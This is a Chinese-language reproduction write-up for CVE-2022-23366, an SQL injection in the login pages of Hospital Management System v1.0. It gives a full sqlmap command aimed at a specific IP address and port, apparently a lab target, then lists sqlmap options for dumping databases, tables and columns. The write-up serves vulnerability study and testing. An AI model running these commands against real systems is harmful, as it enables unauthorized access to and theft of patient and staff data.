HMS v1.0 SQL注入(CVE-2022-23366)

一、漏洞概述

医院管理系统 (HMS) 是一种基于计算机或网络的系统，有助于管理医院或任何医疗机构的运作。该系统或软件将有助于使整个功能无纸化。它将有关患者、医生、员工、医院管理细节等的所有信息集成到一个软件中。它有组成医院的各种专业人员的部分。HMS v1.0 被发现包含通过 adminlogin.php、Patientlogin.php 的 SQL 注入漏洞。

二、影响范围

HMS v1.0

三、访问页面

四、漏洞复现

1、登录，输入任意账号密码。

2、burp抓包

3、使用sqlmap跑注入点

python sqlmap.py -u "http://123.58.224.8:55763/adminlogin.php" --data="loginid=admin&password=123456789&rememberme=on&submit=Login" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" --referer="http://123.58.224.8:55763/adminlogin.php" --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --technique=BEUSTQ -b --batch --answers="crack=N,dict=N,continue=Y,quit=N"

4、跑出loginid有注入，可以使用sqlmap常用命令。

sqlmap常用命令：
1、--dbs 获取数据库
2、--tables 获取数据库中所有的表 
3、--columns 参数用来获取字段
4、--dump 获取值

-D '数据库名' -T '表名' -C '字段名1,字段名2' --dump